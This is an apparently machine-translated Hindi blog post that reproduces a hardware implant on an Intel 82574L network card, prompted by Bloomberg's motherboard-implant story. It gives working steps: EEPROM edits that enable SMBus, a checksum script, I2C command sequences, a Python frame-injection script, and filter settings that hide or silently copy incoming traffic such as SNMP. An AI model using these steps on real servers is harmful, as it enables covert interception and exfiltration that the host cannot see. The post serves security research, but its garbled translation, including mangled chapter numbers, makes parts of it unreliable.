🕔 🙋🏽 ↖️ इलेक्ट्रॉनिक्स के लिए अपना इम्प्लांट बनाना 🎈 🎊 👩🏻‍🤝‍👨🏼

ब्लूमबर्ग की कहानी है कि मदरबोर्ड पर कुछ प्रत्यारोपण कथित तौर पर लगाए गए थे [ चीनी ने अमेरिकी कंप्यूटरों को नियंत्रित करने के लिए एक माइक्रोचिप का उपयोग किया था] किसी का ध्यान नहीं गया। इसके बाद, कई लोगों ने इस तरह के प्रत्यारोपण (उनकी अनुमानित आकार, क्षमताओं या पता लगाने की विधि) बनाने की संभावना के बारे में विचार साझा किए।

कुछ दिनों बाद, ब्लूमबर्ग पत्रिका ने अतिरिक्त सबूत के साथ एक लेख प्रकाशित किया। यहाँ है क्या विशेष रूप से हमारे हित छिड़:

कानूनी सर्वर ने एक तरह से संदेश भेजे, दूसरे में प्रत्यारोपण, लेकिन ऐसा लगा कि सभी ट्रैफ़िक एक विश्वसनीय सर्वर से आए हैं।

मदरबोर्ड से सीधे नेटवर्क कार्ड के साथ बातचीत करने के तरीके हैं। कई लोगों ने संकेत दिया कि आप BMC (बेसबोर्ड मैनेजमेंट कंट्रोलर - एक घटक जो मुख्य चैनल के अलावा सर्वर तक पहुंच की अनुमति देता है) के साथ खेल सकते हैं, जो प्रत्यारोपण को BMC को नियंत्रित करने और नेटवर्क कार्ड तक पहुंच प्राप्त करने की अनुमति देगा। लेकिन व्यवहार में यह कैसे काम करता है? आइए देखें कि क्या हम इसे पुन: पेश कर सकते हैं।

प्रारंभिक स्थिति

आइए एनआईसी ( नेटवर्क कार्ड ) और बीएमसी के बीच संभावित इंटरफेस को देखें। समर्पित चैनल पर काम करने के लिए मुख्य प्रोटोकॉल में से एक बुद्धिमान IPMI प्लेटफ़ॉर्म प्रबंधन इंटरफ़ेस है।

IPMI

विकिपीडिया का कहना है कि आईपीएमआई “एक बुद्धिमान प्लेटफ़ॉर्म प्रबंधन इंटरफ़ेस है जिसे स्वायत्त रूप से मॉनिटर करने और उन सुविधाओं को प्रबंधित करने के लिए डिज़ाइन किया गया है जो सीधे सर्वर प्लेटफार्मों के हार्डवेयर और फ़र्मवेयर में बनाए गए हैं। IPMI की प्रमुख विशेषताएं प्रबंधन कार्यों, लॉगिंग और इन्वेंट्री की निगरानी, पुनर्स्थापना, जो प्रोसेसर, BIOS और ऑपरेटिंग सिस्टम के स्वतंत्र रूप से उपलब्ध हैं। सिस्टम बंद होने पर भी प्लेटफ़ॉर्म प्रबंधन सुविधाएँ उपलब्ध हो सकती हैं। ” बहुत कुछ वैसा ही जैसा हमें चाहिए।

निम्नलिखित फ़्लोचार्ट एक संभावित परियोजना कार्यान्वयन पथ दिखाता है:

IPMI वास्तव में NIC: SMBus और NC-SI के लिए दो साइडबैंड चैनलों को परिभाषित करता है। NC-SI एक अत्याधुनिक SMBus प्रतिस्थापन है जो एन्हांस्ड डेटा ट्रांसफर गति और अन्य नई सुविधाओं का समर्थन करता है। समस्या यह है कि उसे अधिक संकेतों (लगभग 10) की आवश्यकता है, और जब हम एक प्रत्यारोपण के साथ काम कर रहे हैं तो उसके काम में हस्तक्षेप करना बहुत अधिक कठिन है। तो अभी के लिए, SMBus पर वास करें।

SMBus

एसएमबीस (सिस्टम मैनेजमेंट बस) बिजली उपकरणों के लिए एक धारावाहिक संचार प्रोटोकॉल है। सीधी-सरल संचार प्रदान करने वाली एक तरफा सरल दो-तार बस। अधिकांश अक्सर कंप्यूटर में मदरबोर्ड को एक शक्ति स्रोत से जोड़ने और निर्देश को चालू / बंद करने के लिए उपयोग किया जाता है। I ² C बस के आधार पर, आमतौर पर माइक्रोकंट्रोलर में उपयोग किया जाता है। इंटरफ़ेस को केवल दो सिग्नल (घड़ी आवृत्ति और डेटा) की आवश्यकता होती है, और तीसरा सिग्नल एक बाधा है। इम्प्लांट गेम प्रोटोकॉल के लिए बिल्कुल सही।

पहले संपर्क करें

आपको स्मार्ट होना चाहिए, बीएमसी के साथ मदरबोर्ड तक पहुंच नहीं होना चाहिए। सर्वर मदरबोर्ड की तकनीकी विशेषताओं का अध्ययन करते हुए, हमने पाया कि उनमें से कुछ इंटेल 82574L चिप का उपयोग करते हैं। यह, प्रलेखन के अनुसार, "SMBus उन्नत पास-थ्रू इंटरफ़ेस" प्रदान करता है - बस आपको क्या चाहिए। और सबसे अच्छी बात, यह पीसीआई-ई कार्ड प्रारूप में आता है।

SMBus पहुँच

हम स्टोर पर गए, और अब हमारे पास 82574L चिप के साथ Intel EXPI9301CTBLK कार्ड हैं। अब क्या

प्रलेखन SMB_DAT और SMB_ALRT_N को ट्रैक कर सकता है। सौभाग्य से, वे सभी संपर्क पैड पर उपलब्ध हो गए। सब कुछ काफी आसान लग रहा है।

एनआईसी पीसीबी। शीर्ष बाएं - EEPROM, SMBus [ALRT | CLK | DAT] के लिए शीर्ष दाएं कनेक्टर। कृपया ध्यान दें कि R39 और R40 को बंद कर दिया गया है, जो PCIe कनेक्टर के लिए SMBus तक पहुंच को प्रतिबंधित करता है।

हमने I ² C जांच को जोड़ा और SMBus को स्कैन किया, लेकिन उपयोगी कुछ भी नहीं गिना। दस्तावेज़ कहता है कि SMBus केवल तभी सक्षम होता है जब कोई विशिष्ट बिट रजिस्टर सेट किया जाता है। यह मान EEPROM से लोड किया गया है। यह गहरी खुदाई का समय है।

SMBus तक पहुँच सक्षम करें

प्रलेखन हमें फिर से मदद करता है। SMBus तक पहुंच NIC EEPROM से लोड किए गए रजिस्टर के मूल्य से निर्धारित होती है। सौभाग्य से, EEPROM को फ्लैशरॉम के साथ पढ़ा जा सकता है। EEPROM की सामग्री को डंप करके, हम मूल्यों का विश्लेषण और परिवर्तन कर सकते हैं:

> ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org

Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash... done.

NVM के नक्शे (दस्तावेज़ीकरण के अध्याय 6.1) को देखते हुए, यह स्पष्ट है कि हमें दो मूल्यों को बदलने की आवश्यकता है:

Init Control Word 2 [MNGM] (डेटशीट अध्याय 6.1.1.6)
संगतता [ASF SMBus कनेक्टेड] (डेटाशीट अध्याय 6.1.2.1.1)
संगतता [एसएमबीस कनेक्टेड] (डेटशीट अध्याय 6.1.2.1.1)

केवल यह विचार करना आवश्यक है कि EEPROM में डेटा को छोटे एंडियन प्रारूप में संग्रहीत किया जाता है।

उसके बाद, हमें अभी भी चेकसम के मूल्य से निपटने की आवश्यकता है। अध्याय 6.1.2.11 में कहा गया है कि [0x00-0x40] श्रेणी के सभी शब्दों का योग 0xBABA होना चाहिए। अजगर का थोड़ा सा हमें सही चेकसम की गणना करने में मदद करेगा:

import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff

print("Checksum word must be : " + hex(0xbaba-tot))
#Checksum word must be : 0x9efb

और अंत में, EEPROM के लिए हमारे सभी परिवर्तन:

< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... .F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h.....0.F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k.........Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k.........Z.

< 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef ..........0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e ..........0.....

परिवर्तन करने और EEPROM को चमकाने के बाद, हमने I ² C जांच को जोड़ा और:

i2c1> scan
Device found at address 0x49
i2c1>

पता I ² C सात बिट्स में एन्कोड किया गया है, हमें जो पता चाहिए वह 0x49 << 1 = 0x92 के रूप में प्राप्त हुआ है।

अब हमारे पास हमारे प्रत्यारोपण के लिए एक काम आरेख है। हम एनआईसी को कमांड भेज सकते हैं:

जानकारी प्राप्त करना

जैसा कि आप अनुमान लगा सकते हैं, हमने दस्तावेज़ीकरण पढ़ना और विशेष रूप से तैयार कमांड को एनआईसी को यह सत्यापित करने के लिए भेज दिया कि सब कुछ उम्मीद के मुताबिक काम कर रहा था।

दस्तावेज़ 8.4.4 अध्याय में लेनदेन प्रारूप के बारे में जानने के लिए आवश्यक सब कुछ का वर्णन करता है। अंतर केवल इतना है कि हमें PEC (SMBus के लिए चेकसम की गणना करने की आवश्यकता नहीं है, जिसकी गणना प्रत्येक पैकेट के लिए की जाती है)। उदाहरण के लिए, हम निम्नलिखित क्रम का उपयोग करके SLD पते पर CMD कमांड भेज सकते हैं:

[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]

[START] और [STOP] I और ^२ सी द्वारा परिभाषित START और STOP स्थितियां हैं।

उदाहरण के लिए, मैक एड्रेस (अध्याय 8.8.2.3 में वर्णित) को पढ़ने की कमांड 0xD4 होगी। हम I ² C मोड में SMBus को कमांड भेजते हैं:

[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]

जब हाइड्रैबस टीमों को स्थानांतरित किया जाता है, तो यह होगा:

i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]
I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]
07 D4 | .. <== Read [length] [header]
68 05 CA 89 B2 2E | h..... <== Read MAC address bytes
NACK
I2C STOP

और, हाँ, हमें अपना मैक पता मिलता है!

इम्प्लांट कराना

अब, यह जानते हुए कि आप एनआईसी के साथ कैसे संवाद कर सकते हैं, आइए देखें कि आप इस चैनल का उपयोग नेटवर्क ट्रैफ़िक चोरी करने और नेटवर्क पर डेटा भेजने के लिए कैसे कर सकते हैं। प्रलेखन के अध्याय 8 में आपको ऐसा करने की आवश्यकता के बारे में सब कुछ बताया गया है।

पैकेज भेज रहा है

अध्याय in.६ और ers. ..१ में वर्णित है। हम बस कमांड का उपयोग करके एक ईथरनेट फ्रेम बना सकते हैं। एक पैकेट भेजने के लिए यहां हाइड्रबस या बस समुद्री डाकू के लिए एक उदाहरण स्क्रिप्ट है:

import serial
import struct
from scapy.all import *

ser = serial.Serial('/dev/ttyACM0',115200)

def send_frame(pkt):
# Define the frame size
pktlen = struct.pack("B", len(pkt))

# Define the data length to be sent
fulllen = struct.pack(">h", len(pkt)+3)

# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write('\x08'+fulllen+'\x00\x00')
ser.write("\x92\xc4"+pktlen+pkt)

# If packet has been sent successfully
if ser.read(1) == '\x01':
print "Send OK"
else:
print "Error sending"
ser.write('\x00')
ser.write('\x00')
ser.write('\x0F\n')
quit()

# Open Hydrabus in binary mode
for i in xrange(20):
ser.write("\x00")
if "BBIO1" not in ser.read(5):
print "Could not get into binary mode"
quit()

# Switch to I2C mode
ser.write('\x02')
if "I2C1" not in ser.read(4):
print "Cannot set I2C mode"
quit()

#Create the frame to send
p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.31.32.82", dst="10.31.32.80")/ICMP()

#Send the frame
send_frame(str(p))

# Return to main binary mode
ser.write('\x00')
#reset to console mode
ser.write('\x0F\n')

स्क्रिप्ट चलाने के बाद, आप इम्प्लांट के साथ मशीन से आने वाले पैकेज को देख सकते हैं, और, सबसे दिलचस्प बात यह है कि सर्वर खुद इस पैकेज को नहीं देखता है:

बाईं ओर हमलावर की मशीन से Tcpdump, दाईं ओर सर्वर

पैकेज पढ़ना

छानने

यह पता लगाने के लिए कि कौन सा फ्रेम एसएमबीस पर जाना चाहिए, एनआईसी नियंत्रण फिल्टर का उपयोग करता है। वे नेटवर्क से ट्रैफ़िक को मैप करते हैं, और या तो इसे PCIe, या SMBus, या वहां और वहां दोनों पर रीडायरेक्ट करते हैं। हमारे दृष्टिकोण से, यह हमें बहुत लचीलापन देता है:

आप एक फ़िल्टर सेट करके ट्रैफ़िक को ट्रैक कर सकते हैं जो इसे स्कैन करेगा और PCIe और SMBus पर रीडायरेक्ट करेगा।
आप इसे केवल SMBus पर भेजकर ट्रैफ़िक को गायब कर सकते हैं।
आप एक छिपा हुआ चैनल बना सकते हैं जो इम्प्लांट के साथ सर्वर को दिखाई नहीं देगा।

सबसे दिलचस्प बात यह है कि विभिन्न फ़्रेम तत्वों को ट्रैक करने के लिए फ़िल्टर को कॉन्फ़िगर किया जा सकता है:

यूडीपी / टीसीपी पोर्ट
VLAN
IPv4 - IPv6
मैक पते
...

(पूरी सूची के लिए, अध्याय 8.4.2.1 देखें)

सात स्वतंत्र एमडीईएफ फिल्टर [0: 6] उपलब्ध हैं, और उनमें से प्रत्येक को MANC2H रजिस्टर का उपयोग करके SMBus पर PCIe के लिए संबंधित ट्रैफिक को पुनर्निर्देशित करने के लिए कॉन्फ़िगर किया जा सकता है (अधिक जानकारी के लिए अध्याय 8.4.3 देखें)।

कार्यान्वयन

यह सब कुछ सही ढंग से स्थापित करने के लिए काफी मुश्किल हो गया, हमने फ़िल्टर काम करने के लिए कई अलग-अलग संयोजनों की कोशिश की। सौभाग्य से, इंटेल के आवेदन पर नोट ने हमें इस बात पर अधिक जानकारी दी कि हमें जिस तरह से फिल्टर की आवश्यकता है उसे कैसे चलाएं।

हमारे I ² C जांच का उपयोग करते हुए, हम इन सभी को चार कमांड से कॉन्फ़िगर कर सकते हैं:

//
[ 0x92 0xca 0x01 0x40 ]
// MDEF[0] , UDP/664 UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// MANC2H
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]

जैसा कि अध्याय described. described.१.३ में वर्णित है, डेटा रिसेप्शन की अनुमति देने के लिए और हमारे इम्प्लांट को फ़्रेम भेजने के लिए कई बिट्स सेट करना आवश्यक है। हमने SMBus अलर्ट को चुना क्योंकि अन्य मॉडल SMBus (विवरण के लिए अध्याय 8.4 देखें) के लिए नेटवर्क कार्ड को अतुल्यकालिक अनुरोध करने की अनुमति देते हैं।

पढ़ना फ्रेम

चूंकि हमने SMBus अलर्ट विधि का उपयोग किया था, इसलिए हमें प्राप्त TCO पैकेट कमांड भेजने से पहले SMB_ALRT_N सिग्नल को बंद करने की अपेक्षा करनी थी। यदि हम बहुत लंबा इंतजार करते हैं, तो पैकेट को एनआईसी द्वारा अस्वीकार कर दिया जाएगा।

आरेख को केवल स्पष्ट करने के लिए, हम समय-समय पर फ़्रेम भेजेंगे और रीड कमांड भेजेंगे - बस यह पुष्टि करने के लिए कि यह सिद्धांत काम करता है। योजना इस प्रकार है:

इम्प्लांट वाले सर्वर में फिल्टर होते हैं जो यूडीपी / 623 (अध्याय 3.6.1.2) के साथ यातायात की निगरानी करते हैं।
इम्प्लांट को हाइड्रैबस का उपयोग करके नकली किया जाता है
एक अन्य सर्वर पैकेटों को भेजता है जो स्कैन स्क्रिप्ट का उपयोग करके फ़िल्टर के अंतर्गत आते हैं:

from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)

यह कुछ दिलचस्प निकला:

बाईं ओर, SMBus फ़्रेम पढ़ता है; फ़्रेम डेटा नीचे दिखाया गया है। दाईं ओर, एक इम्प्लांट के साथ सर्वर पर चल रहा tcpdump, आने वाले फ़्रेमों को नहीं दिखाता है।

फ्रेम रिले

MANC2H रजिस्टर को बदलकर, यह सुनिश्चित करना संभव है कि SMBus और PCIe को भेजे गए ट्रैफ़िक को सर्वर पर सही ढंग से प्रदर्शित किया गया है। उदाहरण के लिए, आइए एक इंटरसेप्ट फ़िल्टर बनाएं जो UDP / 161 ट्रैफ़िक (SNMP) पर प्रतिक्रिया करता है और इसे SMBus और PCI पर भेजता है:

//
[ 0x92 0xca 0x01 0x40 ]
// - 0 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// MDEF[0] , - 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// MANC2H MDEF[0] PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]

फ़िल्टर को सक्षम करके, हम प्रत्यारोपण के साथ सर्वर पर एक एसएनएमपी अनुरोध भेज सकते हैं और प्रत्यारोपण को बाधित करने वाले पैकेट को देख सकते हैं। उसी समय, सर्वर अनुरोध का जवाब देता है - जिसका अर्थ है कि पैकेट को सही ढंग से SMBus और PCI पर पुनर्निर्देशित किया गया था:

ऊपर प्रत्यारोपण से एक अवरोधन SNMP अनुरोध है। नीचे - एसएनएमपी अनुरोध सर्वर पर पहुंच गया।

समापन

हमने एक छोटे और सस्ते माइक्रोकंट्रोलर को एनआईसी स्तर पर प्रत्यारोपण के रूप में पेश करने के लिए एक संभावित विधि का वर्णन किया। इस तरह के इम्प्लांट के लिए कम से कम चार संपर्कों (Vcc, GND, CLK, DAT) की आवश्यकता होती है, और यह सर्वर कार्ड को नियंत्रित कर सकता है। इसकी विशेषताओं में:

सर्वर पर आने वाले नेटवर्क ट्रैफ़िक के लिए सुनना।
सर्वर के ज्ञान के बिना नेटवर्क से कमांड प्राप्त करना।
सर्वर के ज्ञान के बिना नेटवर्क पर डेटा ट्रांसमिशन।

हमारे उदाहरण में, सादगी के लिए, हाइड्रबस का उपयोग I ² C / SMBus के लिए इंटरफ़ेस के रूप में किया गया था, लेकिन यह एक छोटे माइक्रोकंट्रोलर पर आसानी से किया जा सकता है, उदाहरण के लिए, ATtiny85 (यह एनआईसी के लिए एक EEPROM के आकार के बारे में है)।

हालांकि, वास्तविक जीवन में, इस तरह के प्रत्यारोपण की पहुंच केवल एसएमबीस तक ही होगी। मदरबोर्ड योजना के आधार पर, यह डिवाइस केवल एक ही उपलब्ध हो सकता है, और फिर सर्वर ओएस के साथ बातचीत असंभव होगी। मामले में जब ओएस पर पूर्ण नियंत्रण की आवश्यकता होती है, तो बीएमसी कोड को बदलना सबसे अच्छा है, क्योंकि इसमें पहले से ही सभी दिलचस्प बसों की पहुंच है, और यह मदरबोर्ड पर दृश्य निशान नहीं छोड़ता है।

इस तरह के इम्प्लांट का एक और नुकसान यह है कि यह 100 Kb / s के क्रम की गति से डेटा संचारित कर सकता है, जो कि यातायात के पूर्ण अध्ययन के लिए पर्याप्त नहीं है। इसके अलावा, इम्प्लांट नेटवर्क से आने वाले ट्रैफिक को इंटरसेप्ट करने में सक्षम है। नतीजतन, यह समाधान उन प्रयासों की तुलना में अप्रभावी लगता है जो लक्ष्य उपकरणों में इसके कार्यान्वयन के लिए आवश्यक हैं।

इलेक्ट्रॉनिक्स के लिए अपना इम्प्लांट बनाना